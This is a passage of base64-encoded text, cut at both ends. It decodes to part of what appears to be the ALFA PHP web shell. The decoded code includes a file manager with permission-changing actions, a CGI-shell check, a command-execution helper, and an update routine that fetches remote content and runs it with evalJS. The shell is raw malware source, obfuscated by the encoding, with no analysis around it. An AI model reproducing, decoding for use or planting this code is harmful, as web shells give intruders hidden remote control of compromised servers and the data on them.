vbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGFsZmFfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksYWxmYV9mbV9pZD0wfWZ1bmN0aW9uIGFsZmFGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJweCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGFsZmFQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3IGZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6IixpPSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHRoZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbiI9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlcm0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZmlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2VkPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9ITApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUmJihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkO2FsZmFsb2FkZXIobywiYmxvY2siKSxkYXRhPSJhPSIrYWxmYWI2NChlKSsiJmM9IithbGZhYjY0KHQpKyImYWxmYTE9IithbGZhYjY0KGEpKyImYWxmYTI9IithbGZhYjY0KGkpKyImYWxmYTM9IithbGZhYjY0KGwpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLHIsITEsbyl9ZnVuY3Rpb24gYWxmYVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKCksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoInBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJhbmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2FsZmFsb2FkZXIoaSwibm9uZSIpfSk7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQWN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlubmVySFRNTD1jLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBhbGZhU2hvd05vdGlmaWNhdGlvbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTthbGZhbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBhbGZhSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246MzAwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJjaChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJhbGZhLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlyaWdodCksdC5oYXNPd25Qcm9wZXJ0eSgic29sZXZpc2libGUiKSYmKCQoImFsZmFfc29sZXZpc2libGUiKS5pbm5lckhUTUw9dC5zb2xldmlzaWJsZSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5hbGZhX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNyIpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25sb2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWRlcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja2NnaSIpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9ZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmFsZmFDaGVja1VybEhhc2goKX0sYWxmYUNoZWNrVXJsSGFzaCgpLGFsZmFnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGFsZmFJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sITEpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVnaW4iLGUub25sb2FkPWZ1bmN0aW9uKCl7YWxmYUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGFsZmFJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7DQo8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQp9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCmZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KZnVuY3Rpb24gYWxmYVdoaWNoKCRwKSB7DQokcGF0aCA9IGFsZmFFeCgnd2hpY2ggJyAuICRwLGZhbHNlLGZhbHNlKTsNCmlmKCFlbXB0eSgkcGF0aCkpDQpyZXR1cm4gc3RybGVuKCRwYXRoKTsNCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGFsZmFTaXplKCRzKSB7DQppZigkcyA+PSAxMDczNzQxODI0KQ0KcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KZWxzZWlmKCRzID49IDEwNDg1NzYpDQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KZWxzZWlmKCRzID49IDEwMjQpDQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KZWxzZQ0KcmV0dXJuICRzIC4gJyBCJzsNCn0NCmZ1bmN0aW9uIGFsZmFQZXJtcygkcCkgew0KaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOw0KZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICds4oCLJzsNCmVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLeKAiyc7DQplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOw0KZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdk4oCLJzsNCmVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnY+KAiyc7DQplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOw0KZWxzZSAkaSA9ICd14oCLJzsNCiRpIC49ICgoJHAgJiAweDAxMDApID8gJ3LigIsnIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA4MDApID8gJ1PigIsnIDogJy0nKSk7DQokaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdy4oCLJyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3PigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdT4oCLJyA6ICctJykpOw0KJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncuKAiycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd04oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVOKAiycgOiAnLScpKTsNCnJldHVybiAkaTsNCn0NCmZ1bmN0aW9uIGFsZmFQZXJtc0NvbG9yKCRmLCRpc2Jhc2g9ZmFsc2Upew0KJGNsYXNzID0gIiI7DQokbnVtID0gIiI7DQokaHVtYW4gPSAiIjsNCmlmKCRpc2Jhc2gpew0KJGNsYXNzID0gJGZbImNsYXNzIl07DQokbnVtID0gJGZbIm51bSJdOw0KJGh1bWFuID0gJGZbImh1bWFuIl07DQp9ZWxzZXsNCiRudW0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRmKSksLTQpOw0KJGh1bWFuID0gYWxmYVBlcm1zKEBmaWxlcGVybXMoJGYpKTsNCmlmKCFAaXNfcmVhZGFibGUoJGYpKQ0KJGNsYXNzID0gIm1haW5fcmVkX3Blcm0iOw0KZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCiRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOw0KZWxzZQ0KJGNsYXNzID0gIm1haW5fZ3JlZW5fcGVybSI7DQp9DQpyZXR1cm4gJzxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSInLiRjbGFzcy4nIj4nLiRudW0uJzwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iYmVldHdlZW5fcGVybXMiPiA+PiA8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJGh1bWFuLic8L3NwYW4+JzsNCn0NCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7DQokZGggPSBvcGVuZGlyKCRkaXIpOw0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkNCiRmaWxlc1tdID0gJGZpbGVuYW1lOw0KcmV0dXJuICRmaWxlczsNCn0NCn0NCmZ1bmN0aW9uIHJlQXJyYXlGaWxlcygkZmlsZV9wb3N0KXsNCiRmaWxlX2FyeSA9IGFycmF5KCk7DQokZmlsZV9jb3VudCA9IGNvdW50KCRmaWxlX3Bvc3RbJ25hbWUnXSk7DQokZmlsZV9rZXlzID0gYXJyYXlfa2V5cygkZmlsZV9wb3N0KTsNCmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsNCmZvcmVhY2ggKCRmaWxlX2tleXMgYXMgJGtleSkgew0KJGZpbGVfYXJ5WyRpXVska2V5XSA9ICRmaWxlX3Bvc3RbJGtleV1bJGldOw0KfQ0KfQ0KcmV0dXJuICRmaWxlX2FyeTsNCn0NCmZ1bmN0aW9uIF9hbGZhX2Nhbl9yd